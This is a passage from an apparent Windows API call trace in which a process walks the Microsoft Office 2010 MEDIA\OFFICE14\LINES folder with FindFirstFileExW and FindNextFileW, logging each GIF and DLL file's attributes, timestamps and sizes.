hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a89600, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7a89600, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21348_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5462cc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5462cc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x8e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21370_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b3c00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d9b3c00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21390_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7546300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7546300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21413_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd290b00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd290b00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x770, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21427_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bc3b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97bc3b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21448_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b89da00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5b89da00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21495_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93911d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x93911d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21512_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd4a4400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4a4400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21527_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15814600, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15814600, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21548_.GIF", cAlternateFileName="")) returned 1 [0069.239] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115855.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115856.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115875.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115876.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 0 [0069.240] GetLastError () returned 0x12 [0069.240] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0069.240] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10256_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10289_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10290_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f8f500, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73f8f500, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10307_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a2200, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x752a2200, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10308_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a6c900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68a6c900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10358_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14516_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14538_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14539_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14594_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14595_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2ea600, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe2ea600, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14677_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14710_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xa97, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14711_.GIF", cAlternateFileName="")) returned 1 [0069.240] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14768_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14769_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14800_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14801_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14844_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14845_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14882_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14883_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14996_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14997_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15034_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15035_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be95800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9be95800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15072_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a8500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9d1a8500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15073_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, 